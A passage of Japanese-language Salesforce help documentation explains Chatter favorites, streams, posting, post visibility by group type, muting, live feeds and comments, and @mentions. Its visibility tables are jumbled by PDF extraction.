Chatterフィード検索をお気に入りとして追加すると、Chatterタブから移動せずに
フィード更新にすばやくアクセスできます。
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1. ヘッダーの検索ボックスに検索する語を入力し、[検索] をクリックします。
2. [フィードを検索] をクリックすると、検索語が含まれる投稿とコメントが表示されます。
3. [お気に入りに追加]をクリックします。

例:

[Chatter] ページでのお気に入りの名前は、入力した検索語と同じになります。たとえば、競合分析という
語を検索した場合、お気に入りは [競合分析] になります。
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ヒント: Chatter グループの名前検索をお気に入りに保存して、[Chatter] ページからグループフィード
にすばやくアクセスできます。同様に、人の名前検索をお気に入りに保存して、その人の投稿、コ
メント、メンションをすばやく参照できます。

関連トピック:

Chatter フィード検索結果

Chatter のお気に入りの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter タブにある Chatter のお気に入りを使用すると、リストビュー、Chatter

フィード検索、常に把握しておく必要があるトピックに簡単にアクセスできま
す。たとえば、同僚と一緒にハッシュタグトピック #acme を使用して顧客の Acme

社に関する情報を追跡している場合、お気に入りとして #acme を追加すると、
Chatter タブ内から #acme の最新情報にすぐにアクセスできます。
最大 50 個のお気に入りを登録できます。お気に入りを 1 つも登録していない場
合、[Chatter] タブに [お気に入り] セクションは表示されません。
Chatter には最近追加または表示したお気に入りが 4 つ表示されます。
• いずれかのお気に入りをクリックすると、その最新情報が表示されます。
• すべてのお気に入りを表示するには、[[X  more]] をクリックします。
• お気に入りを削除するには、マウスを上に置くと表示される をクリック

します。

Chatter ストリーム

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter ストリームは、最も有益な情報に基づいて作成するカスタムフィードで
す。Chatter ホームページでストリームを探します。最大 25 個の異なるフィード
やフィード種別の投稿を結合する最大 5 個のストリームを作成します。ユーザ、
グループ、レコード (取引先、商談、ケースなど) のフィードを結合するストリー
ムを作成します。
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ユーザ、グループ、またはレコードをストリームに追加する前にこれらをフォローする必要はありません。
フィードをストリームに追加する利点は、フォロー数制限の影響を受けないということです。

ヒント: 個人取引先をストリームに含めるには、[ストリームに含める] 項目の取引先として追加します。
取引先責任者として個人取引先を追加する場合、関連フィード投稿は表示されません。

ストリームは複数のフィードで構成されているため、ストリームに投稿する公開者は存在しません。

メモ: 最大 25 個の一意のフィード、レコード、グループ、ユーザをストリームに追加できます。25 個の
いずれかのエンティティのアクセスが削除されても、その削除されたエンティティは 25 個のうちの 1 つ
としてカウントされます。このエンティティを他のエンティティに置き換えることはできません。

Chatter ストリームの作成
Lightning Experience で、Chatter ストリームを作成し、選択したプロファイル、グループ、レコードのフィー
ドの統合ビューを取得します。Chatter ストリームは 5 個まで作成できます。各ストリームには最大 25 個の
オブジェクトを含めることができます。
Chatter ストリームの編集
ストリームを編集して、その名前を変更したり、そのフィードの一部を追加または削除したりします。
Chatter ストリームの削除
Chatter ストリームを削除しても、そのストリームに含まれるレコードまたは投稿は削除されません。スト
リームのみが削除され、新しいストリームを作成する領域が確保されます。
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Chatter ストリームの作成

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience で、Chatter ストリームを作成し、選択したプロファイル、グ
ループ、レコードのフィードの統合ビューを取得します。Chatter ストリームは
5 個まで作成できます。各ストリームには最大 25 個のオブジェクトを含めるこ
とができます。
Chatter ストリームを作成するには、タイトルを入力し、ストリームに追加する
フィード種別とフィードを選択します。
1. Lightning Experienceで、Chatter ホームページに移動し、 アイコンをクリック

して [新規ストリーム] ダイアログ (2) を開きます。
2. ストリームの名前を入力します。
3. [ストリームに含める] 項目で、下矢印 (3) をクリックして、ストリームに追加するフィードの種別を選択し

ます。

4. 選択したら [ストリームに含める] を再度クリックし、選択したフィード種別を検索します (5)。
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5. リストされたフィードのいずれかを選択します。

このストリームに追加するすべてのフィード (最大 25 個) を設定するまで手順 3 ～手順 5 を繰り返します (6)。

メモ: 最大 25 個の一意のフィード、レコード、グループ、ユーザをストリームに追加できます。25 個
のいずれかのエンティティのアクセスが削除されても、その削除されたエンティティは 25 個のうちの
1 つとしてカウントされます。このエンティティを他のエンティティに置き換えることはできません。
個人取引先をストリームに含めるには、[ストリームに含める] 項目の取引先として追加します。取引
先責任者として個人取引先を追加する場合、関連フィード投稿は表示されません。

6. 選択内容を保存するには、[保存] をクリックします。
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7. ストリームを保存するには、再度 [保存] をクリックします。
ストリームは、Chatter ホームページの左列の [ストリーム] (7) の下にリストされます。そのコンテンツを表
示するには、名前をクリックします。

Chatter ストリームの編集

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ストリームを編集して、その名前を変更したり、そのフィードの一部を追加ま
たは削除したりします。
Chatter ストリームを編集するには、Chatter ホームページに移動し、ストリームを
開いて [編集] をクリックします。
1. Lightning Experience で、Chatter ホームページに移動し、編集するストリームを

クリックしてそのホームページを開きます。
2. ストリームのホームページの右側で、[編集] (1) をクリックし、[ストリームを

編集] ダイアログ (2) を開きます。
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3. ストリームを編集します。
• ストリーム名を編集します。
• ストリームにフィードを追加するには、[ストリームに含める]項目をクリックしてフィード種別を選択

します。「Chatter ストリームの作成」の手順を実行します。
• ストリームからフィードを削除するには、その アイコンをクリックします。

4. 変更内容を保存するには、[保存] をクリックします。
5. ストリームを保存するには、再度 [保存] をクリックします。

関連トピック:

Chatter ストリーム
Chatter ストリームの作成
Chatter ストリームの削除

Chatter ストリームの削除

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter ストリームを削除しても、そのストリームに含まれるレコードまたは投
稿は削除されません。ストリームのみが削除され、新しいストリームを作成す
る領域が確保されます。
Chatter ストリームを削除するには、Chatter ホームページに移動し、ストリームを
開いて [削除] をクリックします。
1. Lightning Experience で、Chatter ホームページに移動し、削除するストリームを

クリックしてそのホームページを開きます。
2. ストリームのホームページの右側で、[削除] (1) をクリックし、[ストリームを

削除しますか?] ダイアログ (2) を開きます。
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3. [削除] をクリックします。

関連トピック:

Chatter ストリーム
Chatter ストリームの作成
Chatter ストリームの編集

投稿の操作
組織内外の他のユーザと情報を共有したり、コラボレーションしたりします。

投稿の概要
Chatter パブリッシャーを使用して、投稿、コメント、質問、アンケートの作成を行います。
投稿の表示
私の投稿が他のユーザに表示されないようにすることはできますか?

グループに投稿すると、その投稿は私のプロファイルに表示され、他のユーザからも見ることができます
か?

投稿のミュート
ニュースフィードの表示内容を制御し、関心がなくなった投稿をミュートします。
ライブフィード
Lightning Experience のグループに入ると、Chatter フィードがライブで提供されます。ライブフィードでは、
ページを更新しなくても投稿とコメントがリアルタイムで表示されます。コンテンツの投稿時にコンテン
ツが表示されます。
ライブコメント
Lightning Experience フィードでは、コメントがライブで表示されます。ライブコメントでは、ページを更新
しなくてもコメントがリアルタイムで表示されます。コメントの投稿時にコメントが表示されます。
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私の添付ファイルとリンクを参照できるユーザは?

ファイルやリンクを投稿またはコメントに添付して他のユーザと共有します。

投稿の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter パブリッシャーを使用して、投稿、コメント、質問、アンケートの作成
を行います。
パブリッシャーは、[ホーム] タブ、Chatter タブ、ユーザプロファイルページ、グ
ループ、およびレコード詳細ページに表示されます。パブリッシャーを使用し
て、投稿 (1)、投稿へのコメント、投稿へのファイル (2) またはリンク (3) の添付、
アンケートの追加 (4)、質問 (5) を行います。投稿およびコメントは 10,000 文字ま
で入力できます。リッチテキストエディタを使用して、投稿を書式設定します
(6)。

ヒント: 上級ユーザでしたら、Lightning Experienceでショートカット機能を使用して投稿やコメントを実行
してみてください。Windows の場合、コンテンツを入力して Ctrl+Enter キーを押します。macOS の場合、
Control+Enter キーまたは Command+Enter キーを押します。
質問のショートカットキーは、質問の詳細では機能しますが、質問自体では機能しません。そのため、
質問するだけの場合、ショートカットは機能しません。質問で詳細を含める場合、ショートカットは機
能します。

デフォルトで、パブリッシャーには、[投稿]、[ファイル]、[リンク]、[アンケート]、[質問] アクションが表示さ
れます。Salesforce システム管理者は、アクションの順序を変更することや、他のアクションを追加することが
できます。したがって、表示されるアクションは、システム管理者によるパブリッシャーの設定方法によって
異なります。
フィードに投稿すると、投稿へのアクセス権を持つすべてのユーザが、投稿へのコメント、投稿へのいいね!、
投稿の共有を行うことができます (1)。ドロップダウンメニューから、投稿をブックマークし、トピックを追
加することもできます (2)。

3650

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



Lightning Experience ではコメントがライブで表示されるため、ページを更新する必要がありません。

メモ: ライブコメントは新機能で、機能強化には多くの可能性があり、またいくつかの既知の問題もあり
ます。
• 開いているフィード投稿に新規コメントが書き込まれた場合は、Lightning Experience でのみ通知を受信

します。コメントの入力中またはコメントボックス内をクリックしたときに、通知が表示されます。
• ライブコメントでサポートされる参加者数は、組織の登録制限によって異なります。ライブコメント

が使用できない場合は、コメント項目をクリックします。それでもコメントがライブにならない場合
は、組織の制限に達したということになります。ページを更新すれば、従来の方法でコメントを更新
できます。

自分の投稿とコメントを変更するには、[編集]をクリックします。グループ所有者またはマネージャの場合、
グループフィードの他のユーザの投稿を編集することもできます。フィードから自分の投稿を削除するには、
[削除] をクリックします。ただし、他のユーザの投稿や Salesforce で自動的に生成された投稿は削除できませ
ん。たとえば、取引先の変更された項目に関する投稿のようなレコード更新は削除できません。

メモ:  [編集] オプションを使用できない場合は、システム管理者が組織でこの機能を無効にしています。

関連トピック:

投稿の表示
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投稿の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

次の表に、投稿可能な場所と投稿の表示場所を示します。
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

投稿にファイルを添
付すると、従業員は
全員そのファイルを
使用できます。ま
た、ファイルは検索
結果およびファイル
リストにも表示され
ます。

• 自分のプロファ
イルに移動した
すべてのユーザ
は、自分のプロ
ファイルで投稿
を表示できま
す。

• 投稿はフィード
の検索結果に表
示されます。

• すべてのユーザ
の [すべての会社]

フィード
(Salesforce Classic)

に投稿が表示さ
れます。12

• あなたをフォ
ローしている
ユーザの [自分が
フォローするも
の] フィードに投
稿が表示されま
す。

• 投稿でメンショ
ンされている
ユーザの [自分が
フォローするも
の]、[自分に送信]

およびプロファ
イルフィードに
投稿が表示され
ます。

私のフォローされて
いる人

[ホーム]、[Chatter] タ
ブ、または私のプロ
ファイル

投稿に添付したファ
イルは、グループに

公開グループ •• グループに移動
したすべての

このグループの
メンバーの [自分

アクセスできるユーユーザは、グがフォローする
ザが使用できます。ループページでもの] フィードに
また、ファイルは検投稿を確認でき

ます。
投稿が表示され
ます。 索結果およびファイ

ルリストにも表示さ
れます。•• 投稿はフィード

の検索結果に表
示されます。

投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ • すべてのユーザ

の [すべての会社]ローするもの]、
[自分に送信] およ フィードに投稿
びプロファイル が表示されま

す。のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみのグループ

非公開グループ • このグループの
メンバーの [自分

アクセスできるユーフィード、フィードがフォローする
ザが使用できます。の検索結果、およびもの] フィードに
また、ファイルは検[すべての会社]投稿が表示され

ます。 索結果およびファイ
ルリストにも表示さ

フィードに投稿が表
示されます。

• 投稿でメンショ
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

ンされているグ
ループメンバー

れます。

の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループメンバーと
「リストに記載しな

リストに記載しない
グループ

• このグループの
メンバーの [自分

アクセスできるユーいグループの管理」がフォローする
ザであれば表示およ
び検索できます。

権限を持つユーザに
のみ、グループ
フィード、[すべての

もの] フィードに
投稿が表示され
ます。

会社] フィード、お
• 投稿でメンショ

ンされているグ よびあなたのプロ
ファイルに投稿が表
示されます。ループメンバー

の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみのグループ

顧客グループ • このグループの
メンバーの [自分

アクセスできるユーフィード、フィードがフォローする
ザが使用できます。の検索結果、およびもの] フィードに
また、ファイルは検[すべての会社]投稿が表示され

ます。 索結果およびファイ
ルリストにも表示さ
れます。

フィードに投稿が表
示されます。メン
バーには従業員およ
び顧客が含まれま
す。

• 投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ
ローするもの]、

12 この脚注はこの表の [すべての会社] フィードのすべてのメンションに適用されます。投稿の人気度ラン
キングやエンゲージメント (コメント、いいね!、参照など) によっては Lightning Experience の [会社の特長]
フィードに投稿が表示されることがあります。
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿にファイルを添
付すると、従業員は

私のフォローされて
いる人

トピックの詳細ペー
ジ

•• トピックの詳細
ページでのあな

あなたをフォ
ローしている

全員そのファイルをたの投稿は、すユーザの [自分が
使用できます。まべてのユーザに

表示されます。
フォローするも
の] フィードに投
稿が表示されま
す。

た、ファイルは検索
結果およびファイル
リストにも表示され
ます。

• 自分のプロファ
イルに移動した
すべてのユーザ• 投稿でメンショ

ンされている は、自分のプロ
ユーザの [自分が ファイルで投稿
フォローするも を表示できま

す。の]、[自分に送信]

およびプロファ • 投稿はフィード
の検索結果に表
示されます。

イルフィードに
投稿が表示され
ます。 • すべてのユーザ

の [すべての会社]

フィードに投稿
が表示されま
す。

投稿に添付したファ
イルは、グループに

公開グループ •• トピックの詳細
ページでのあな

このグループの
メンバーの [自分

アクセスできるユーたの投稿は、すがフォローする
ザが使用できます。べてのユーザに

表示されます。
もの] フィードに
投稿が表示され
ます。

また、ファイルは検
索結果およびファイ
ルリストにも表示さ
れます。

• グループに移動
したすべての
ユーザは、グ

• 投稿でメンショ
ンされているグ

ループページでループメンバー
投稿を確認でき
ます。

の [自分がフォ
ローするもの]、
[自分に送信] およ • 投稿はフィード

の検索結果に表
示されます。

びプロファイル
のフィードに投
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

稿が表示されま
す。

• すべてのユーザ
の [すべての会社]

フィードに投稿
が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみが、トピック詳

非公開グループ • このグループの
メンバーの [自分

アクセスできるユー細ページ、グループがフォローする
ザが使用できます。フィード、フィードもの] フィードに
また、ファイルは検検索結果、および投稿が表示され

ます。 索結果およびファイ
ルリストにも表示さ
れます。

[すべての会社]

フィードへのあなた
の投稿を参照できま
す。

• 投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみが、トピック詳

顧客グループ • このグループの
メンバーの [自分

アクセスできるユー細ページ、グループがフォローする
ザが使用できます。フィード、フィードもの] フィードに
また、ファイルは検検索結果、および投稿が表示され

ます。 索結果およびファイ
ルリストにも表示さ
れます。

[すべての会社]

フィードへのあなた
の投稿を参照できま
す。メンバーには従

• 投稿でメンショ
ンされているグ
ループメンバー 業員および顧客が含

まれます。
顧客はあなたの投稿
を表示できますが、

の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル

トピックの参照やアのフィードに投
クセスはできませ
ん。

稿が表示されま
す。
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

リストに記載しないグループで、トピックは使用できません。リストに記載しないグ
ループに投稿またはコメントを記載する際に、ハッシュタグトピックを追加すること

リストに記載しない
グループ

ができます。このトピックは、投稿後にリンクとして書式設定されます。ただし、ト
ピック詳細ページは作成されず、リンクは機能しません。

投稿にファイルを添
付すると、従業員は

そのユーザのプロ
ファイルのみ

別のユーザのプロ
ファイル

•• その人のプロ
ファイルに移動

この人をフォ
ローしている

全員そのファイルをしたすべてのユーザの [自分が
使用できます。まユーザが、あなフォローするも
た、ファイルは検索たのプロファイの] フィードに投
結果およびファイルルであなたの投稿が表示されま

す。 リストにも表示され
ます。

稿を確認できま
す。• 投稿でメンショ

ンされている • 投稿はフィード
の検索結果に表
示されます。

ユーザの [自分が
フォローするも
の]、[自分に送信] • すべてのユーザ

の [すべての会社]およびプロファ
イルフィードに フィードに投稿
投稿が表示され
ます。

が表示されま
す。

投稿に添付したファ
イルは、グループに

公開グループのみに
投稿

公開グループ •• グループに移動
したすべての

このグループの
メンバーの [自分

アクセスできるユーユーザは、グがフォローする
ザが使用できます。ループページでもの] フィードに
また、ファイルは検投稿を確認でき

ます。
投稿が表示され
ます。 索結果およびファイ

ルリストにも表示さ
れます。•• 投稿はフィード

の検索結果に表
示されます。

投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ • すべてのユーザ

の [すべての会社]ローするもの]、
[自分に送信] およ フィードに投稿
びプロファイル が表示されま

す。のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみのグループ

非公開グループのみ
に投稿

非公開グループ • このグループの
メンバーの [自分

3657

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

がフォローする
もの] フィードに

アクセスできるユー
ザが使用できます。

フィード、フィード
の検索結果、および

投稿が表示され
ます。

また、ファイルは検
索結果およびファイ
ルリストにも表示さ
れます。

[すべての会社]

フィードに投稿が表
示されます。• 投稿でメンショ

ンされているグ
ループメンバー
の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみのグループ

リストに記載しない
グループのみに投稿

リストに記載しない
グループ

• このグループの
メンバーと「リ

アクセスできるユーフィード、フィードストに記載しな
ザであれば表示およ
び検索できます。

の検索結果、および
[すべての会社]

フィードに投稿が表
示されます。

いグループの管
理」権限を持つ
ユーザにのみ、
[自分がフォロー
するもの] フィー
ドに投稿が表示
されます。

• 投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿に添付したファ
イルは、グループに

グループのメンバー
のみのグループ

顧客グループのみに
投稿

顧客グループ • このグループの
メンバーの [自分

アクセスできるユーフィード、フィードがフォローする
ザが使用できます。の検索結果、およびもの] フィードに
また、ファイルは検[すべての会社]
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ファイルの考慮事項私の投稿が表示され
る場所

私の投稿を直接取得
できるユーザ

可能な投稿先投稿対象

フィードに投稿が表
示されます。メン

投稿が表示され
ます。

索結果およびファイ
ルリストにも表示さ
れます。バーには従業員およ

び顧客が含まれま
す。

• 投稿でメンショ
ンされているグ
ループメンバー
の [自分がフォ
ローするもの]、
[自分に送信] およ
びプロファイル
のフィードに投
稿が表示されま
す。

投稿にファイルを添
付すると、ファイル

このレコードにアク
セスする権限を持つ

レコードのみに投稿レコードページ • このレコードを
フォローしてい

はそのレコードに関すべてのユーザのレるユーザおよび
連付けられます。レコード詳細ページ、このレコードに
コードに対する共有プロファイル、アクセスする権
権限を持つすべてのフィードの検索結限を持つすべて
ユーザがファイルに
アクセスできます。

果、および [すべて
の会社] フィードに
投稿が表示されま
す。

のユーザの [自分
がフォローする
もの] フィードに
投稿が表示され
ます。

• 投稿でメンショ
ンされている
ユーザおよびこ
のレコードにア
クセスする権限
を持つユーザの
[自分がフォロー
するもの]、[自分
に送信] およびプ
ロファイルの
フィードに投稿
が表示されま
す。

メモ: アーカイブ済みグループに対して新しい投稿を作成することはできません。アーカイブ済みグルー
プの既存の投稿に対するコメントには、グループがアーカイブされる前と同じ表示設定が適用されます。
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私の投稿が他のユーザに表示されないようにすることはできますか?

あなたのプロファイルへの投稿は、顧客以外のすべての人に表示されます。また、あなたをフォローしている
人はそれぞれのChatterフィードであなたの投稿を確認できます。ただし、レコードを変更した場合、レコード
の参照権限を持つユーザのフィードにのみレコードの更新が表示されます。

関連トピック:

Chatter メッセージの送信

グループに投稿すると、その投稿は私のプロファイルに表示され、他のユーザからも見る
ことができますか?

はい、投稿が誰に表示されるかはグループの種別によって異なります。投稿先のグループに応じて、次のよう
になります。
• 公開グループ — 顧客以外のすべての人があなたのプロファイルの投稿を表示できます。
• 非公開グループ — 他のグループメンバーのみがあなたのプロファイルの投稿を表示できます。
• 顧客を許可する非公開グループ — すべてのメンバーがグループ内の投稿を表示できます。グループのメン

バーである顧客には、投稿がグループページでは表示されますが、あなたのプロファイルでは表示されま
せん。

• 「リストに記載しないグループの管理」権限を持つ、リストに記載しないグループメンバーとユーザにの
み、あなたのプロファイルへの投稿が表示されます。グループのメンバーである顧客には、投稿がグルー
プページでは表示されますが、あなたのプロファイルでは表示されません。

関連トピック:

Chatter グループ

投稿のミュート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ニュースフィードの表示内容を制御し、関心がなくなった投稿をミュートしま
す。
フィードおよびフィード投稿の詳細表示から投稿をミュートできます。[ホーム]

タブおよび Chatter タブではミュートできますが、グループ、プロファイル、ま
たはレコードフィードではミュートできません。システム管理者がメールの返
信を有効にした場合、「ミュート」という 1 語のみで投稿メールに返信すると、
投稿をミュートできます。
フィードで投稿をミュートするには、投稿のドロップダウンメニューから[ミュー
ト] を選択します。
詳細ビューから投稿をミュートする手順は、次のとおりです。
1. 投稿の日付スタンプをクリックするか、メール通知で[参照/コメント]ボタン

をクリックして、フィードの詳細ビューに移動します。
2. 投稿のドロップダウンメニューから、[ミュート] を選択します。
投稿をミュートすると、次のようになります。

3660

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



• Salesforce Classicで、[ホーム] タブと Chatter タブのフィードにその投稿が表示されなくなる。Lightning Experience

と、カスタマーサービス (Napili) テンプレートに基づくコミュニティでは、投稿がそのまま残ります。
• その投稿への更新について通知を受信しなくなる。
• [ミュート済み] 条件を使用してミュート済み投稿を表示できる。
• ミュート済み投稿で他のユーザがこのユーザにメンションした場合、その投稿は自動的にミュート解除さ

れる。投稿がフィードに再表示され、メール通知を有効にしている場合は、更新に関する通知を受信しま
す。

• 最初にグループ、プロファイル、またはレコードフィードに投稿された場合、その投稿は引き続きその
フィードに表示される。
たとえば、自分がメンバーであるグループに他のユーザが投稿したとします。その投稿は、[ホーム] タブ
と Chatter タブのグループフィードと自分のニュースフィードに表示されます。ニュースフィードの投稿を
ミュートできますが、グループフィードには投稿が引き続き表示されます。

例: 投稿はドロップダウンメニューから次の手順でミュートします。

ミュートしたすべての投稿を表示するには、[ミュート済み] 条件を選択します。
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ライブフィード

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience のグループに入ると、Chatter フィードがライブで提供されま
す。ライブフィードでは、ページを更新しなくても投稿とコメントがリアルタ
イムで表示されます。コンテンツの投稿時にコンテンツが表示されます。
ライブフィードでは、新規投稿がトリガとなってフィード上部にメッセージが
一時的に表示されます (1)。
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ライブコメントはグループフィードだけではなく Lightning Experience のすべてのフィードに表示されます。コ
メントを入力している間、その活動が投稿上でアニメーションで表示されます (2)。ライブコメントが最初に
投稿されると、一時的に黄色く点滅します。
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ライブフィードと非ライブ (提供される) フィードには少し違いがあります。
• ライブフィードには、ユーザ (つまり人) が投稿したコンテンツが表示されます。ライブフィードには、シ

ステム生成された投稿、たとえば、変更追跡フィード (FTC) やカスタムイベント投稿は表示されません (こ
れらの投稿を表示するには、フィードを更新します)。

• ライブフィードには、グループフィードに直接投稿されたコンテンツが表示されます。グループにメンショ
ンされた投稿や、既存の投稿に加えられた編集はライブフィードに表示されません (フィードを更新しま
す)。

• ライブフィードはそのネットワーク接続に依存します。一部の投稿がライブで提供されなかったり、正確
な投稿順序で表示されなかったりする可能性があります。機能をフルに活用するためにフィードを時々更
新する必要があります。

しばらく席を外すか、ライブフィードから離れた場合は、ページを更新するとライブ状態になります。
開発者にとっては、ライブ更新はトランザクション処理ではありません。サーバとブラウザは分散システムで
あり、それらの間にトランザクションの連携はありません。提供されるフィードは、ある時点のフィードの状
態のスナップショットです。ライブフィードは、現在のページに対する一連の増分更新であり、ベストエフォー
ト型で提供されます。これは、提供される次のページに配信されるスナップショットと同等であることを目的
とするものではありません。ライブフィードは、人による使用に合わせて最適化されています。特定のエン
ティティの配信やプッシュ (ライブ) データの形式に依存する、ライブフィードを使用するコードを作成するこ
とはお勧めできません。

メモ: ライブフィードでサポートされる参加者数は、組織の登録制限によって異なります。ライブグルー
プフィードやライブコメントが使用できない場合は、ページを更新するか、コメント項目をクリックし
ます。それでもフィードがライブにならない場合は、組織の制限に達した可能性があります。ページを
更新すれば、従来の方法でコメントを更新できます。
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ライブコメント

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience フィードでは、コメントがライブで表示されます。ライブコ
メントでは、ページを更新しなくてもコメントがリアルタイムで表示されます。
コメントの投稿時にコメントが表示されます。
フィードにライブコメントを表示するには、登録が必要です。登録は簡単です。
• [コメント] 項目をクリックします。
• 何かを投稿します。
• [コメントをさらに表示] をクリックします。
しばらく席を外すか、フィードから離れた場合は、コメント項目をクリックし
て再登録します。
フィードのライブコメントに登録すると、人がコメントを活発に入力している
ことが入力インジケータに示されます。

コメントが投稿されると、一時的に黄色く点滅します。
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• 開いているフィード投稿に新規コメントが書き込まれた場合は、Lightning Experience でのみ通知を受信しま
す。コメントの入力中またはコメントボックス内をクリックしたときに、通知が表示されます。

• ライブコメントでサポートされる参加者数は、組織の登録制限によって異なります。ライブコメントが使
用できない場合は、コメント項目をクリックします。それでもコメントがライブにならない場合は、組織
の制限に達した可能性があります。ページを更新すれば、従来の方法でコメントを更新できます。

人とグループのメンション

投稿やコメントでのユーザおよびグループへの @メンション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

個々のユーザやグループに @メンションすることで、それらに関連する内容を
議論したときは常に本人に知らせます。
1. 投稿を作成するときに、@ を入力し、続けてユーザ名やグループ名の最初の

数文字を入力します。
2. 一致リストからユーザまたはグループを選択します。

リストには、次の一致がすべて含まれます。
• 人、通常はよくやりとりするユーザ
• 公開グループ
• 自分がメンバーである非公開グループ
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1 つの投稿またはコメントに、25を超えるメンションを含めることはできません。アーカイブされたグルー
プ、リストに記載しないグループ、顧客グループ、自分がメンバーではない非公開グループにはメンショ
ンできません。

3. [共有] をクリックして、更新を投稿します。
更新を投稿すると、次のようになります。
• ユーザ名がそのユーザのプロファイルへのリンクになり、グループ名がグループページへのリンクになり

ます。
• ユーザにメンションした場合、メンションされたユーザのプロファイルフィードおよび [自分宛て] フィー

ドに更新が表示されます。
• メンションされたときにメールを受信することを選択したユーザには、Chatter からメール通知が送信され

ます。

メモ: 例外として、自分自身について @ メンションする場合は、通知を受信しません。

• グループにメンションした場合、
– グループフィードと各グループメンバーの [自分がフォローするもの] フィードに更新が表示されます。
– Chatterから、グループの [すべての投稿にメールを送信] 設定を有効にしているグループメンバーにメー

ル通知が送信されます。

メモ: モバイルデバイスでは現在、グループメンションの転送通知は送信されません。

– レコードフィード上のメンションの場合、そのレコードがグループレコードリストに表示されます。

例: 同僚の Madison が、Acme 製品の機能に関する情報を探していると投稿したとします。あなたは Madison

の投稿に対して次のコメントを返信します。「@Bob Smith に連絡をとってください。彼は Acme のアカウ
ントマネージャです。@Acme Products、この機能に関して Madison に提供できる追加情報はありますか?」
Bob Smith (メンションされたときにメールを受信することを選択した場合) と Acme Products グループのメン
バーの両方が、あなたの投稿に関するメール通知を受け取ります。Madison は、更新の [@Bob Smith] をク
リックして Bob のプロファイルを表示したり、@Acme Products をクリックしてグループのページを表示し
たりできます。

Chatterでは、Salesforceのセキュリティおよび共有ルールが適用されます。レコード、または非公開グループや
リストに記載しないグループに投稿し、そのレコードへのアクセス権を持っていないかグループのメンバーで
ないユーザに @メンションするとします。この場合、@メンションは灰色のリンクで表示されます。メンショ
ンされたユーザは投稿を参照できず、投稿についての通知も受け取りません。たとえば、Madison がプロジェ
クトチームの非公開グループを作成し、同僚の Sandy Dunn をグループに追加し忘れたとします。Madison がこ
のグループに更新を投稿して Sandy Dunn に @メンションしても、Sandy Dunn にはこの更新が通知されません。
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Sandy は非公開グループのメンバーでないため、更新を参照することもできません。その後 Madison が Sandy を
グループに追加しても、Chatter から Sandy に以前のメンションについて通知されることはありません。

関連トピック:

Chatter 投稿の共有
Chatter 投稿へのリンクの共有設定
1 つの Chatter 投稿の表示
ユーザおよびグループの @メンション — 表示

ユーザおよびグループの @メンション — 表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
